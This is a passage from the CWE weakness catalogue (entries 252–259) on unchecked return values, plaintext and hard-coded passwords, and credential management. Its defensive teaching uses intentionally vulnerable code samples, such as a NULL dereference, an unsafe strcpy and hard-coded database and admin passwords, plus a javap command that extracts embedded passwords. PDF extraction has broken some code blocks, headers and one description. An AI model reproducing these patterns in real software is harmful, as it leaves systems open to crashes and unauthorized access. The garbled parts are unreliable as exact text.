Example 6:
The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

```java
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7:
The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

```vbnet
```
In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

**Example 8:**

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

**Example 9:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:**

```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 10:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:**

```c
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

**Good Code**

```c
int f(pthread_mutex_t *mutex) {
    int result;
```
result = pthread_mutex_lock(mutex);
if (0 != result)
    return result;
/* access shared resource */
return pthread_mutex_unlock(mutex);
}

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2916</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2006-4447</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2007-3798</td>
<td>Unchecked return value leads to resultant integer overflow and code execution.</td>
</tr>
<tr>
<td>CVE-2008-5183</td>
<td>chain: unchecked return value can lead to NULL dereference</td>
</tr>
<tr>
<td>CVE-2010-0211</td>
<td>chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Implementation**

**High**
Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation**
Ensure that you account for all possible return values from the function.

**Implementation**
When designing a function, make sure you return a value or throw an exception in case of an error.

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>847</td>
<td>CERT Java Secure Coding Section 02 - Expressions (EXP)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
<td>1000</td>
</tr>
<tr>
<td>StartsChain</td>
<td>V</td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>709</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Ignored function return value</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A7</td>
<td>MEM32-C</td>
<td>Improper Error Handling</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td></td>
<td></td>
<td>Detect and handle memory allocation errors</td>
</tr>
</tbody>
</table>
### CWE-253: Incorrect Check of Function Return Value

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP00-J</td>
<td></td>
<td>Do not ignore values returned by methods</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM32-CPP</td>
<td></td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td></td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

#### References


CERT. "ERR10-CPP. Check for error conditions". <https://www.securecoding.cert.org/confluence/display/cplusplus/ERR10-CPP.+Check+for+error+conditions >.

### CWE-253: Incorrect Check of Function Return Value

<table>
<thead>
<tr>
<th>Weakness ID: 253</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

#### Description

**Summary**

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

**Extended Description**

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- All

#### Common Consequences

**Availability**

**Integrity**

**Unexpected state**

**DoS: crash / exit / restart**

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

**C/C++ Example:**

```
Bad Code

tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

#### Potential Mitigations

**Architecture and Design**

**Language Selection**

Use a language or compiler that uses exceptions and requires the catching of those exceptions.
Implementation
Properly check all functions which return a value.

Implementation
When designing any function make sure you return a value or throw an exception in case of an error.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Misinterpreted function return value</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

References


CWE-254: Security Features

Category ID: 254 (Category) Status: Incomplete

Description

Summary
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>18</td>
<td>Source Code</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>258</td>
<td>Empty Password in Configuration File</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>260</td>
<td>Password in Configuration File</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>272</td>
<td>Least Privilege Violation</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>285</td>
<td>Improper Authorization</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-255: Credentials Management

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
<td>699  623</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
<td>699  903</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>699  949</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
<td>699  1012</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
<td>699  1014</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
<td>699  1016</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td>699  1017</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>699  1077</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>699</td>
<td>Development Concepts</td>
<td>699  1083</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
<td>700  1084</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>778</td>
<td>Insufficient Logging</td>
<td>699  1196</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>779</td>
<td>Logging of Excessive Data</td>
<td>699  1198</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>700  1223</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>699  1243</td>
<td></td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Security Features</td>
</tr>
</tbody>
</table>

**CWE-255: Credentials Management**

**Category ID: 255 (Category)**

**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are related to the management of credentials.

**Applicable Platforms**

**Languages**

- All

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Manual Static Analysis - Source Code**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source

- Cost effective for partial coverage:
  - Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>254</td>
<td>Security Features</td>
<td>453</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>1120</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>465</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>467</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>468</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>521</td>
<td>Weak Password Requirements</td>
<td>864</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>865</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>549</td>
<td>Missing Password Field Masking</td>
<td>890</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>620</td>
<td>Unverified Password Change</td>
<td>969</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>985</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>1223</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
</tbody>
</table>

CWE-256: Plaintext Storage of a Password

Weakness ID: 256 (Weakness Variant)  Status: Incomplete

Description

Summary
Storing a password in plaintext may result in a system compromise.

Extended Description
Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Modes of Introduction
Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier.

**Common Consequences**

- **Access Control**
- **Gain privileges / assume identity**

**Likelihood of Exploit**

Very High

**Demonstrative Examples**

**Example 1:**
The following code reads a password from a properties file and uses the password to connect to a database.

**Java Example:**

```java
... 
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties");
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

**Example 2:**
The following code reads a password from the registry and uses the password to create a new network credential.

**Java Example:**

```java
... 
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username, password, domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

**Example 3:**
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```java
# Java Web App ResourceBundle properties file
... 
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```xml
... 
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
... 
```
Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

**Potential Mitigations**

**Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**None**

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td></td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-257: Storing Passwords in a Recoverable Format**

**Weakness ID:** 257 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Access Control**

**Gain privileges / assume identity**

User’s passwords may be revealed.
Access Control
Gain privileges / assume identity
Revealed passwords may be reused elsewhere to impersonate the users in question.

Likelihood of Exploit
Very High

Demonstrative Examples

Example 1:
Both of these examples verify a password by comparing it to a stored compressed version.

C/C++ Example:

```c
// Bad Code
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Java Example:

```java
// Bad Code
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    } //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example:

```java
// Bad Code
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```xml
// Bad Code
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=udB; uid-db2admin; pwd=password; dbalias=udB;" 
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

Architecture and Design
Use strong, non-reversible encryption to protect stored passwords.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
CWE-258: Empty Password in Configuration File

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>1000</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Storing passwords in a recoverable format</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>49</td>
<td>Password Brute Forcing</td>
</tr>
</tbody>
</table>

CAPEC Version 2.10

Maintenance Notes

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

CWE-258: Empty Password in Configuration File

Weakness ID: 258 (Weakness Variant) Status: Incomplete

Description

Summary
Using an empty string as a password is insecure.

Time of Introduction

• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity

Likelihood of Exploit
Very High

Demonstrative Examples

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Java Example:

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=  
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.
CWE-259: Use of Hard-coded Password

ASP.NET Example:

```xml
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=udB; uid=db2admin; pwd=; dbalias=udB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

References

same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Access Control**

**Gain privileges / assume identity**

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

**Likelihood of Exploit**

Very High

**Detection Methods**

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

**Demonstrative Examples**

**Example 1:**

The following code uses a hard-coded password to connect to a database:

**Java Example:**

```java
...  
DriverManager.getConnection(url, "scott", "tiger");  
...  
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of...
"tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

```
Attack
javap -c ConnMngr.class
22: ldc #36; // String jdbc:mysql://ixne.com/rxsql
24: ldc #38; // String scott
26: ldc #17; // String tiger
```

**Example 2:**
The following code is an example of an internal hard-coded password in the back-end:

**C/C++ Example:**

```c
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {  
        printf("Incorrect Password!
");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

**Java Example:**

```java
int VerifyAdmin(String password) {
    if (!password.equals("Mew!") {  
        return(0)
    }
    // Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

**Example 3:**
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```xml
<connectionStrings>
